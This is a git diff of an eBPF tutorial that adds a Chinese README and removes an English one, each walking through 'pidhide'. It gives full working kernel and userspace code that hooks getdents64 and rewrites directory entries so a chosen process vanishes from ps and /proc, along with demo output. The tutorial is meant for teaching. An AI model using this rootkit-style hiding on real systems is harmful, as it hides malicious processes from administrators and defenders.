__uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_buffs SEC(".maps"); + +// Map used to enable searching through the +// data in a loop +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, int); +} map_bytes_read SEC(".maps"); + +// Map with address of actual +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_to_patch SEC(".maps"); + +// Map to hold program tail calls +struct { + __uint(type, BPF_MAP_TYPE_PROG_ARRAY); + __uint(max_entries, 5); + __type(key, __u32); + __type(value, __u32); +} map_prog_array SEC(".maps"); +``` + +我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件,如 "vmlinux.h"、"bpf_helpers.h"、"bpf_tracing.h" 和 "bpf_core_read.h"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 + +- "vmlinux.h" 是一个包含了完整的内核数据结构的头文件,是从 vmlinux 内核二进制中提取的。使用这个头文件,eBPF 程序可以访问内核的数据结构。 +- "bpf_helpers.h" 头文件中定义了一系列的宏,这些宏是 eBPF 程序使用的 BPF 助手(helper)函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 +- "bpf_tracing.h" 是用于跟踪事件的头文件,它包含了许多宏和函数,这些都是为了简化 eBPF 程序对跟踪点(tracepoint)的操作。 +- "bpf_core_read.h" 头文件提供了一组用于从内核读取数据的宏和函数。 + +程序中定义了一系列的 map 结构,这些 map 是 eBPF 程序中的主要数据结构,它们用于在内核态和用户态之间共享数据,或者在 eBPF 程序中存储和传递数据。 + +其中,"rb" 是一个 Ringbuffer 类型的 map,它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 + +"map_buffs" 是一个 Hash 类型的 map,它用于存储目录项(dentry)的缓冲区地址。 + +"map_bytes_read" 是另一个 Hash 类型的 map,它用于在数据循环中启用搜索。 + +"map_to_patch" 是另一个 Hash 类型的 map,存储了需要被修改的目录项(dentry)的地址。 + +"map_prog_array" 是一个 Prog Array 类型的 map,它用于保存程序的尾部调用。 + +程序中的 "target_ppid" 和 "pid_to_hide_len"、"pid_to_hide" 是几个重要的全局变量,它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 + +接下来的代码部分,程序定义了一个名为 "linux_dirent64" 的结构体,这个结构体代表一个 Linux 目录项。然后程序定义了两个函数,"handle_getdents_enter" 和 "handle_getdents_exit",这两个函数分别在 getdents64 系统调用的入口和出口被调用,用于实现对目录项的操作。 + +```c + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +// These store the string representation +// of the PID to hide. This becomes the name +// of the folder in /proc/ +const volatile int pid_to_hide_len = 0; +const volatile char pid_to_hide[MAX_PID_LEN]; + +// struct linux_dirent64 { +// u64 d_ino; /* 64-bit inode number */ +// u64 d_off; /* 64-bit offset to next structure */ +// unsigned short d_reclen; /* Size of this dirent */ +// unsigned char d_type; /* File type */ +// char d_name[]; /* Filename (null-terminated) */ }; +// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); +SEC("tp/syscalls/sys_enter_getdents64") +int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + // Check if we're a process thread of interest + // if target_ppid is 0 then we target all pids + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + int pid = pid_tgid >> 32; + unsigned int fd = ctx->args[0]; + unsigned int buff_count = ctx->args[2]; + + // Store params in map for exit function + struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; + bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); + + return 0; +} +``` + +在这部分代码中,我们可以看到 eBPF 程序的一部分具体实现,该程序负责在 `getdents64` 系统调用的入口处进行处理。 + +我们首先声明了几个全局的变量。其中 `target_ppid` 代表我们要关注的目标父进程的 PID。如果这个值为 0,那么我们将关注所有的进程。`pid_to_hide_len` 和 `pid_to_hide` 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 `/proc/` 目录下的一个文件夹的名称,因此被隐藏的进程在 `/proc/` 目录下将无法被看到。 + +接下来,我们声明了一个名为 `linux_dirent64` 的结构体。这个结构体代表一个 Linux 目录项,包含了一些元数据,如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 + +然后是 `getdents64` 函数的原型。这个函数是 Linux 系统调用,用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中,对目录项进行修改,以实现进程隐藏。 + +随后的部分是 eBPF 程序的具体实现。我们在 `getdents64` 系统调用的入口处定义了一个名为 `handle_getdents_enter` 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID,然后检查这个进程是否是我们关注的进程。如果我们设置了 `target_ppid`,那么我们就只关注那些父进程的 PID 为 `target_ppid` 的进程。如果 `target_ppid` 为 0,我们就关注所有进程。 + +在确认了当前进程是我们关注的进程之后,我们将 `getdents64` 系统调用的参数保存到一个 map 中,以便在系统调用返回时使用。我们特别关注 `getdents64` 系统调用的第二个参数,它是一个指向 `linux_dirent64` 结构体的指针,代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 `map_buffs` 这个 map 中。 + +至此,我们完成了 `getdents64` 系统调用入口处的处理。在系统调用返回时,我们将会在 `handle_getdents_exit` 函数中,对目录项进行修改,以实现进程隐藏。 + +在接下来的代码段中,我们将要实现在 `getdents64` 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程,并且对目录项进行修改以实现隐藏。 + +我们首先定义了一个名为 `handle_getdents_exit` 的函数,它将在 `getdents64` 系统调用返回时被调用。 + +```c + +SEC("tp/syscalls/sys_exit_getdents64") +int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + int total_bytes_read = ctx->ret; + // if bytes_read is 0, everything's been read + if (total_bytes_read <= 0) { + return 0; + } + + // Check we stored the address of the buffer from the syscall entry + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + + // All of this is quite complex, but basically boils down to + // Calling 'handle_getdents_exit' in a loop to iterate over the file listing + // in chunks of 200, and seeing if a folder with the name of our pid is in there. + // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual + // patching + long unsigned int buff_addr = *pbuff_addr; + struct linux_dirent64 *dirp = 0; + int pid = pid_tgid >> 32; + short unsigned int d_reclen = 0; + char filename[MAX_PID_LEN]; + + unsigned int bpos = 0; + unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); + if (pBPOS != 0) { + bpos = *pBPOS; + } + + for (int i = 0; i < 200; i ++) { + if (bpos >= total_bytes_read) { + break; + } + dirp = (struct linux_dirent64 *)(buff_addr+bpos); + bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); + bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); + + int j = 0; + for (j = 0; j < pid_to_hide_len; j++) { + if (filename[j] != pid_to_hide[j]) { + break; + } + } + if (j == pid_to_hide_len) { + // *********** + // We've found the folder!!! + // Jump to handle_getdents_patch so we can remove it! + // *********** + bpf_map_delete_elem(&map_bytes_read, &pid_tgid); + bpf_map_delete_elem(&map_buffs, &pid_tgid); + bpf_tail_call(ctx, &map_prog_array, PROG_02); + } + bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); + bpos += d_reclen; + } + + // If we didn't find it, but there's still more to read, + // jump back the start of this function and keep looking + if (bpos < total_bytes_read) { + bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); + bpf_tail_call(ctx, &map_prog_array, PROG_01); + } + bpf_map_delete_elem(&map_bytes_read, &pid_tgid); + bpf_map_delete_elem(&map_buffs, &pid_tgid); + + return 0; +} + +``` + +在这个函数中,我们首先获取了当前进程的 PID 和线程组 ID,然后检查系统调用是否读取到了目录的内容。如果没有读取到内容,我们就直接返回。 + +然后我们从 `map_buffs` 这个 map 中获取 `getdents64` 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址,那么就没有必要进行进一步的处理。 + +接下来的部分有点复杂,我们用了一个循环来迭代读取目录的内容,并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了,我们就用 `bpf_tail_call` 函数跳转到 `handle_getdents_patch` 函数,进行实际的隐藏操作。 + +```c +SEC("tp/syscalls/sys_exit_getdents64") +int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) +{ + // Only patch if we've already checked and found our pid's folder to hide + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + + // Unlink target, by reading in previous linux_dirent64 struct, + // and setting it's d_reclen to cover itself and our target. + // This will make the program skip over our folder. + long unsigned int buff_addr = *pbuff_addr; + struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; + short unsigned int d_reclen_previous = 0; + bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); + + struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); + short unsigned int d_reclen = 0; + bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); + + // Debug print + char filename[MAX_PID_LEN]; + bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); + filename[pid_to_hide_len-1] = 0x00; + bpf_printk("[PID_HIDE] filename previous %s\n", filename); + bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); + filename[pid_to_hide_len-1] = 0x00; + bpf_printk("[PID_HIDE] filename next one %s\n", filename); + + // Attempt to overwrite + short unsigned int d_reclen_new = d_reclen_previous + d_reclen; + long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); + + // Send an event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = (pid_tgid >> 32); + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + + bpf_map_delete_elem(&map_to_patch, &pid_tgid); + return 0; +} + +``` + +在 `handle_getdents_patch` 函数中,我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容,并且修改 `d_reclen` 字段,让它覆盖下一个目录项,这样就可以隐藏我们的目标进程了。 + +在这个过程中,我们用到了 `bpf_probe_read_user`、`bpf_probe_read_user_str`、`bpf_probe_write_user` 这几个函数来读取和写入用户空间的数据。这是因为在内核空间,我们不能直接访问用户空间的数据,必须使用这些特殊的函数。 + +在我们完成隐藏操作后,我们会向一个名为 `rb` 的环形缓冲区发送一个事件,表示我们已经成功地隐藏了一个进程。我们用 `bpf_ringbuf_reserve` 函数来预留缓冲区空间,然后将事件的数据填充到这个空间,并最后用 `bpf_ringbuf_submit` 函数将事件提交到缓冲区。 + +最后,我们清理了之前保存在 map 中的数据,并返回。 + +这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子,我们可以看到 eBPF 提供的丰富的功能,如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑,而不需要修改内核代码。 + +## 用户态 eBPF 程序实现 + +我们在用户态的 eBPF 程序中主要进行了以下几个操作: + +1. 打开 eBPF 程序。 +2. 设置我们想要隐藏的进程的 PID。 +3. 验证并加载 eBPF 程序。 +4. 等待并处理由 eBPF 程序发送的事件。 + +首先,我们打开了 eBPF 程序。这个过程是通过调用 `pidhide_bpf__open` 函数实现的。如果这个过程失败了,我们就直接返回。 + +```c + skel = pidhide_bpf__open(); + if (!skel) + { + fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno)); + return 1; + } +``` + +接下来,我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 `rodata` 区域实现的。默认情况下,我们隐藏的是当前进程。 + +```c + char pid_to_hide[10]; + if (env.pid_to_hide == 0) + { + env.pid_to_hide = getpid(); + } + sprintf(pid_to_hide, "%d", env.pid_to_hide); + strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); + skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; + skel->rodata->target_ppid = env.target_ppid; +``` + +然后,我们验证并加载 eBPF 程序。这个过程是通过调用 `pidhide_bpf__load` 函数实现的。如果这个过程失败了,我们就进行清理操作。 + +```c + err = pidhide_bpf__load(skel); + if (err) + { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } +``` + +最后,我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 `ring_buffer__poll` 函数实现的。在这个过程中,我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有,我们就调用 `handle_event` 函数来处理这个事件。 + +```c +printf("Successfully started!\n"); +printf("Hiding PID %d\n", env.pid_to_hide); +while (!exiting) +{ + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Ctrl-C will cause -EINTR */ + if (err == -EINTR) + { + err = 0; + break; + } + if (err < 0) + { + printf("Error polling perf buffer: %d\n", err); + break; + } +} +``` + +`handle_event` 函数中,我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文,事件的数据,以及数据的大小。我们首先将事件的数据转换为 `event` 结构体,然后根据 `success` 字段判断这个事件是否表示成功隐藏了一个进程,最后打 + +印相应的消息。 + +```c +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct event *e = data; + if (e->success) + printf("Hid PID from program %d (%s)\n", e->pid, e->comm); + else + printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm); + return 0; +} +``` + +这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序,然后设置我们想要隐藏的进程的 PID,再验证并加载 eBPF 程序,最后等待并处理由 eBPF 程序发送的事件。这个过程中,我们使用了 eBPF 提供的一些高级功能,如环形缓冲区和事件处理,这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 + +完整源代码: + +> 本文所示技术仅为概念验证,仅供学习使用,严禁用于不符合法律法规要求的场景。 + +## 编译运行,隐藏 PID + +首先,我们需要编译 eBPF 程序: + +```bash +make +``` + +然后,假设我们想要隐藏进程 ID 为 1534 的进程,可以运行如下命令: + +```sh +sudo ./pidhide --pid-to-hide 1534 +``` + +这条命令将使所有尝试读取 `/proc/` 目录的操作都无法看到 PID 为 1534 的进程。例如,我们可以选择一个进程进行隐藏: + +```console +$ ps -aux | grep 1534 +yunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor +yunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 +``` + +此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是,如果我们运行 `sudo ./pidhide --pid-to-hide 1534`,再次运行 `ps -aux | grep 1534`,就会发现进程 ID 为 1534 的进程已经不见了。 + +```console +$ sudo ./pidhide --pid-to-hide 1534 +Hiding PID 1534 +Hid PID from program 31529 (ps) +Hid PID from program 31551 (ps) +Hid PID from program 31560 (ps) +Hid PID from program 31582 (ps) +Hid PID from program 31582 (ps) +Hid PID from program 31585 (bash) +Hid PID from program 31585 (bash) +Hid PID from program 31609 (bash) +Hid PID from program 31640 (ps) +Hid PID from program 31649 (ps) +``` + +这个程序将匹配这个 pid 的进程隐藏,使得像 `ps` 这样的工具无法看到,我们可以通过 `ps aux | grep 1534` 来验证。 + +```console +$ ps -aux | grep 1534 +root 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534 +root 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534 +root 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534 +yunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534 +``` + +## 总结 + +通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。 + +您还可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/24-hide/README_en.md b/src/24-hide/README_en.md deleted file mode 100644 index 50ed6d74..00000000 --- a/src/24-hide/README_en.md +++ /dev/null @@ -1,429 +0,0 @@ -# eBPF Practical Tutorial: Hiding Process or File Information - -eBPF (Extended Berkeley Packet Filter) is a powerful feature in the Linux kernel that allows you to run, load, and update user-defined code without having to change the kernel source code or reboot the kernel. This capability allows eBPF to be used in a wide range of applications such as network and system performance analysis, packet filtering, and security policies. - -In this tutorial, we will show how eBPF can be used to hide process or file information, a common technique in the field of network security and defence. - -## Background Knowledge and Implementation Mechanism - -"Process hiding" enables a specific process to become invisible to the operating system's regular detection mechanisms. This technique can be used in both hacking and system defence scenarios. Specifically, each process on a Linux system has a subfolder named after its process ID in the /proc/ directory, which contains various information about the process. `ps` displays process information by looking in these folders. Therefore, if we can hide the /proc/ folder of a process, we can make that process invisible to `ps` commands and other detection methods. - -The key to achieving process hiding is to manipulate the `/proc/` directory. In Linux, the `getdents64` system call can read the information of files in the directory. We can hide files by hooking into this system call and modifying the results it returns. To do this, you need to use eBPF's `bpf_probe_write_user` function, which can modify user-space memory, and therefore can be used to modify the results returned by `getdents64`. - -In the following, we will describe in detail how to write eBPF programs in both kernel and user states to implement process hiding. - -### Kernel eBPF Program Implementation - -Next, we will describe in detail how to write eBPF program to implement process hiding in kernel state. The first part of the eBPF programme is the start: - -```c -// SPDX-License-Identifier: BSD-3-Clause -#include "vmlinux.h" -#include -#include -#include -#include "common.h" - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -// Ringbuffer Map to pass messages from kernel to user -struct { - __uint(type, BPF_MAP_TYPE_RINGBUF); - __uint(max_entries, 256 * 1024); -} rb SEC(".maps"); - -// Map to fold the dents buffer addresses -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 8192); - __type(key, size_t); - __type(value, long unsigned int); -} map_buffs SEC(".maps"); - -// Map used to enable searching through the -// data in a loop -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 8192); - __type(key, size_t); - __type(value, int); -} map_bytes_read SEC(".maps"); - -// Map with address of actual -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 8192); - __type(key, size_t); - __type(value, long unsigned int); -} map_to_patch SEC(".maps"); - -// Map to hold program tail calls -struct { - __uint(type, BPF_MAP_TYPE_PROG_ARRAY); - __uint(max_entries, 5); - __type(key, __u32); - __type(value, __u32); -} map_prog_array SEC(".maps"); -``` - -The first thing we need to do is to understand the basic structure of the eBPF programme and the important components that are used. The first few lines reference several important header files, such as "vmlinux.h", "bpf_helpers.h", "bpf_tracing.h" and "bpf_core_read.h". These files provide the infrastructure needed for eBPF programming and some important functions or macros. - -- "vmlinux.h" is a header file containing the complete kernel data structures extracted from the vmlinux kernel binary. Using this header file, eBPF programs can access kernel data structures. -- The "bpf_helpers.h" header file defines a series of macros that encapsulate the BPF helper functions used by eBPF programs. These BPF helper functions are the main way that eBPF programs interact with the kernel. -- The "bpf_tracing.h" header file for tracing events contains a number of macros and functions designed to simplify the operation of tracepoints for eBPF programs. -- The "bpf_core_read.h" header file provides a set of macros and functions for reading data from the kernel. - -The program defines a series of map structures, which are the main data structures in an eBPF program, and are used to share data between the kernel and the user, or to store and transfer data within the eBPF program. - -Among them, "rb" is a map of type Ringbuffer, which is used to pass messages from the kernel to the userland; Ringbuffer is a data structure that can efficiently pass large amounts of data between the kernel and the userland. - -"map_buffs" is a map of type Hash which is used to store buffer addresses for directory entries. - -"map_bytes_read" is another Hash-type map that is used to enable searching in data loops. - -"map_to_patch" is another Hash type map that stores the address of the directory entry (dentry) that needs to be modified. - -"map_prog_array" is a map of type Prog Array, which is used to store the tail calls of a programme. - -The "target_ppid" and "pid_to_hide_len" and "pid_to_hide" in the program are a few important global variables that store the PID of the target parent process, the length of the PID that needs to be hidden, and the PID that needs to be hidden, respectively. - -In the next part of the code, the program defines a structure called "linux_dirent64", which represents a Linux directory entry. The program then defines two functions, "handle_getdents_enter" and "handle_getdents_exit", which are called at the entry and exit of the getdents64 system call, respectively, and are used to implement operations on the directory entry. - -```c - -// Optional Target Parent PID -const volatile int target_ppid = 0; - -// These store the string represenation -// of the PID to hide. This becomes the name -// of the folder in /proc/ -const volatile int pid_to_hide_len = 0; -const volatile char pid_to_hide[MAX_PID_LEN]; - -// struct linux_dirent64 { -// u64 d_ino; /* 64-bit inode number */ -// u64 d_off; /* 64-bit offset to next structure */ -// unsigned short d_reclen; /* Size of this dirent */ -// unsigned char d_type; /* File type */ -// char d_name[]; /* Filename (null-terminated) */ }; -// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); -SEC("tp/syscalls/sys_enter_getdents64") -int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx) -{ - size_t pid_tgid = bpf_get_current_pid_tgid(); - // Check if we're a process thread of interest - // if target_ppid is 0 then we target all pids - if (target_ppid != 0) { - struct task_struct *task = (struct task_struct *)bpf_get_current_task(); - int ppid = BPF_CORE_READ(task, real_parent, tgid); - if (ppid != target_ppid) { - return 0; - } - } - int pid = pid_tgid >> 32; - unsigned int fd = ctx->args[0]; - unsigned int buff_count = ctx->args[2]; - - // Store params in map for exit function - struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; - bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); - - return 0; -} -``` - -In this section of the code, we can see part of the implementation of the eBPF program that is responsible for the processing at the entry point of the `getdents64` system call. - -We start by declaring a few global variables. The `target_ppid` represents the PID of the target parent we want to focus on, and if this value is 0, then we will focus on all processes. `pid_to_hide_len` and `pid_to_hide` are used to store the length of the PID of the process we want to hide from, and the PID itself, respectively. This PID is translated into the name of a folder in the `/proc/` directory, so the hidden process will not be visible in the `/proc/` directory. - -Next, we declare a structure called `linux_dirent64`. This structure represents a Linux directory entry and contains metadata such as the inode number, the offset of the next directory entry, the length of the current directory entry, the file type, and the filename. - -Then there is the prototype for the `getdents64` function. This function is a Linux system call that reads the contents of a directory. Our goal is to modify the directory entries during the execution of this function to enable process hiding. - -The subsequent section is the concrete implementation of the eBPF program. We define a function called `handle_getdents_enter` at the entry point of the `getdents64` system call. This function first gets the PID and thread group ID of the current process, and then checks to see if it is the process we are interested in. If we set `target_ppid`, then we only focus on processes whose parent has a PID of `target_ppid`. If `target_ppid` is 0, we focus on all processes. - -After confirming that the current process is the one we are interested in, we save the arguments to the `getdents64` system call into a map to be used when the system call returns. In particular, we focus on the second argument to the `getdents64` system call, which is a pointer to the `linux_dirent64` structure representing the contents of the directory to be read by the system call. We save this pointer, along with the current PID and thread group ID, as a key-value pair in the `map_buffs` map. - -This completes the processing at the entry point of the `getdents64` system call. When the system call returns, we will modify the directory entry in the `handle_getdents_exit` function to hide the process. - -In the next snippet, we will implement the handling at the return of the `getdents64` system call. Our main goal is to find the process we want to hide and modify the directory entry to hide it. - -We start by defining a function called `handle_getdents_exit` that will be called when the `getdents64` system call returns. - -```c - -SEC("tp/syscalls/sys_exit_getdents64") -int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) -{ - size_t pid_tgid = bpf_get_current_pid_tgid(); - int total_bytes_read = ctx->ret; - // if bytes_read is 0, everything's been read - if (total_bytes_read <= 0) { - return 0; - } - - // Check we stored the address of the buffer from the syscall entry - long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); - if (pbuff_addr == 0) { - return 0; - } - - // All of this is quite complex, but basically boils down to - // Calling 'handle_getdents_exit' in a loop to iterate over the file listing - // in chunks of 200, and seeing if a folder with the name of our pid is in there. - // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual - // patching - long unsigned int buff_addr = *pbuff_addr; - struct linux_dirent64 *dirp = 0; - int pid = pid_tgid >> 32; - short unsigned int d_reclen = 0; - char filename[MAX_PID_LEN]; - - unsigned int bpos = 0; - unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); - if (pBPOS != 0) { - bpos = *pBPOS; - } - - for (int i = 0; i < 200; i ++) { - if (bpos >= total_bytes_read) { - break; - } - dirp = (struct linux_dirent64 *)(buff_addr+bpos); - bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); - bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); - - int j = 0; - for (j = 0; j < pid_to_hide_len; j++) { - if (filename[j] != pid_to_hide[j]) { - break; - } - } - if (j == pid_to_hide_len) { - // *********** - // We've found the folder!!! - // Jump to handle_getdents_patch so we can remove it! - // *********** - bpf_map_delete_elem(&map_bytes_read, &pid_tgid); - bpf_map_delete_elem(&map_buffs, &pid_tgid); - bpf_tail_call(ctx, &map_prog_array, PROG_02); - } - bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); - bpos += d_reclen; - } - - // If we didn't find it, but there's still more to read, - // jump back the start of this function and keep looking - if (bpos < total_bytes_read) { - bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); - bpf_tail_call(ctx, &map_prog_array, PROG_01); - } - bpf_map_delete_elem(&map_bytes_read, &pid_tgid); - bpf_map_delete_elem(&map_buffs, &pid_tgid); - - return 0; -} - -``` - -In this function, we first get the PID and thread group ID of the current process, and then check to see if the system call has read the contents of the directory. If it didn't read the contents, we just return. - -Then we get the address of the directory contents saved at the entry point of the `getdents64` system call from the `map_buffs` map. If we haven't saved this address, then there's no need to do any further processing. - -The next part is a bit more complicated, we use a loop to iteratively read the contents of the directory and check to see if we have the PID of the process we want to hide, and if we do, we use the `bpf_tail_call` function to jump to the `handle_getdents_patch` function to do the actual hiding. - -```c -SEC("tp/syscalls/sys_exit_getdents64") -int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) -{ - // Only patch if we've already checked and found our pid's folder to hide - size_t pid_tgid = bpf_get_current_pid_tgid(); - long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); - if (pbuff_addr == 0) { - return 0; - } - - // Unlink target, by reading in previous linux_dirent64 struct, - // and setting it's d_reclen to cover itself and our target. - // This will make the program skip over our folder. - long unsigned int buff_addr = *pbuff_addr; - struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; - short unsigned int d_reclen_previous = 0; - bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); - - struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); - short unsigned int d_reclen = 0; - bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); - - // Debug print - char filename[MAX_PID_LEN]; - bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); - filename[pid_to_hide_len-1] = 0x00; - bpf_printk("[PID_HIDE] filename previous %s\n", filename); - bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); - filename[pid_to_hide_len-1] = 0x00; - bpf_printk("[PID_HIDE] filename next one %s\n", filename); - - // Attempt to overwrite - short unsigned int d_reclen_new = d_reclen_previous + d_reclen; - long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); - - // Send an event - struct event *e; - e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); - if (e) { - e->success = (ret == 0); - e->pid = (pid_tgid >> 32); - bpf_get_current_comm(&e->comm, sizeof(e->comm)); - bpf_ringbuf_submit(e, 0); - } - - bpf_map_delete_elem(&map_to_patch, &pid_tgid); - return 0; -} - -``` - -In the `handle_getdents_patch` function, we first check to see if we have found the PID of the process we want to hide, and then we read the contents of the directory entry and modify the `d_reclen` field so that it overwrites the next directory entry, thus hiding our target process. - -In this process, we use the functions `bpf_probe_read_user`, `bpf_probe_read_user_str`, and `bpf_probe_write_user` to read and write user-space data. This is because in kernel space, we can't access user space data directly and must use these special functions. - -After we finish the hiding operation, we send an event to a ring buffer called `rb` indicating that we have successfully hidden a process. We reserve space in the buffer with the `bpf_ringbuf_reserve` function, then fill that space with the event's data, and finally commit the event to the buffer with the `bpf_ringbuf_submit` function. - -Finally, we clean up the data previously saved in the map and return. - -This code is a good example of process hiding in an eBPF environment. Through this example, we can see the rich features provided by eBPF, such as system call tracing, map storage, user-space data access, tail calls, and so on. These features allow us to implement complex logic in kernel space without modifying the kernel code. - -## User-Style eBPF Programming - -We perform the following operations in the userland eBPF program: - -1. Open the eBPF program. -2. Set the PID of the process we want to hide. -3. Verify and load the eBPF program. -4. Wait for and process events sent by the eBPF program. - -First, we open the eBPF application. This is done by calling the `pidhide_bpf__open` function. If this process fails, we simply return. - -```c - skel = pidhide_bpf__open(); - if (!skel) - { - fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno)); - return 1; - } -``` - -Next, we set the PIDs of the processes we want to hide, which is done by saving the PIDs to the `rodata` area of the eBPF program. By default, we hide the current process. - -```c - char pid_to_hide[10]; - if (env.pid_to_hide == 0) 